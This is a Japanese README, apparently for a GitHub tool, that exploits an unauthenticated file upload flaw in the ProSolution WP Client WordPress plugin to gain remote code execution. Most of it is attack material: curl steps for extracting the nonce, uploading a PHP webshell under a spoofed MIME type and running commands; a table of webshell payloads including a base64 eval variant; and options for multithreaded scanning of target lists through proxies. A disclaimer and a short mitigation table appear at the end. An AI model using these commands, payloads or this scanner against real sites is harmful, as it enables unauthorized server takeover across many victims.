
ProSolution WP Client (CVE-2026-2942) の未認証の任意ファイルアップロードおよびリモートコード実行の自動スキャナー。マルチスレッドスキャン、MIMEスプーフィング、シェル検証、プロキシサポートを備え、ペネトレーションテスト用です。
プラグイン: prosolution-wp-client
影響を受けるバージョン: <= 1.9.9
脆弱性の種類: 認証なし任意ファイルアップロード → リモートコード実行
リスクレベル: 🔴 重大 (CVSS 9.8)
必要条件:[prosolfrontend]ショートコードを含む公開ページ
ProSolution WP Client プラグインの proSol_fileUploadProcess AJAX アクションは、
アップロードされたファイルの MIME タイプをチェックしますが、拡張子は検証しません。
攻撃者は .php 拡張子のファイルを image/jpeg MIME タイプで送信することで、
サーバーに 認証なしで webshell をアップロードできます。
[prosolfrontend] ショートコードページ
│
▼
1. prosolObj.nonce → 公開ページから取得(認証不要)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME スプーフィング
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php として保存される
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → 認証なし RCE ✓
⚠️ 免責事項: この PoC は教育目的および防御的なセキュリティ研究の 目的でのみ提供されます。所有するシステム、または明示的な書面による テスト許可を得たシステムに対してのみ使用してください。
prosolution-wp-client プラグインが有効(バージョン <= 1.9.9)[prosolfrontend] ショートコードを含む公開済みの WordPress ページ[prosolfrontend] ショートコードを含む任意の公開ページにアクセスし、
ソースコードから prosolObj.nonce の値を抽出します:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
ソースコード内で探す構造:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
.php ファイルを image/jpeg Content-Type で送信します:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
期待されるレスポンス:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"と"rename_status": true→.phpファイルが正常に保存されました。
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # ステップ 3 の newfilename
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
期待される出力:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ 認証なし RCE が達成されました。
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
| パラメーター | 短縮 | 説明 | デフォルト |
|---|---|---|---|
--url | -u | 単一ターゲットの URL | — |
--list | -l | ターゲットリストファイル | — |
--threads | -t | スレッド数 | 10 |
--output | -o | 出力ファイル | uploaded.txt |
--shell-name | — | アップロードするファイル名 | shell.php |
--shell-type | — | シェルのタイプ | system |
--verify | — | アップロード後の RCE テスト | False |
--verify-cmd | — | 検証コマンド | id |
--proxy | — | プロキシ URL | — |
--timeout | — | リクエストタイムアウト(秒) | 10 |
| タイプ | Payload | 説明 |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | 基本的なシステムコマンド |
passthru | <?php passthru($_GET["cmd"]); ?> | 生の出力 |
exec | <?php echo exec($_GET["cmd"]); ?> | サイレント実行 |
assert | <?php assert($_POST["cmd"]); ?> | POST による eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 難読化 |
full | shell_exec + system + exec fallback | フル機能のシェル |
WordPress ルート/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← シェルはここ
| ステータス | 説明 |
|---|---|
★ UPLOADED | シェルが正常にアップロードされました |
✓ RCE OK | シェルが検証され、コマンドが実行されました |
- BLOCKED | サーバーが PHP 拡張子をブロックしました |
~ TIMEOUT | 接続タイムアウト |
~ CONN_ERR | 接続エラー |
! HTTP_ERR | HTTP エラーコード |
[*] 3 ターゲット | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
新しい名前 : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd 出力: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
アップロードされたシェル → uploaded.txt
───────────────────────────────────────────────
| 対策 | 実装 |
|---|---|
| PHP 実行の防止 | uploads/ ディレクトリに .htaccess を追加 |
| プラグインの更新 | バージョン > 1.9.9 にアップグレードするか削除 |
| 拡張子ホワイトリスト | サーバー側で許可された拡張子のみ |
| MIME 検証 | finfo_file() による実際のコンテンツチェック |
| WAF ルール | .php アップロードリクエストをブロック |
uploads/ ディレクトリ用の .htaccess:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
このツールおよび PoC は、権限のあるシステムに対して教育目的および
ペネトレーションテストの範囲内でのみ使用できるよう作成されています。
無許可のシステムでの使用は、トルコ刑法第 243〜245 条および 国際的なサイバー犯罪法に基づき犯罪行為とみなされます。
開発者は、ツールの悪用によって生じるいかなる法的責任も負いません。
MIT License — 教育および研究目的のみを対象としています。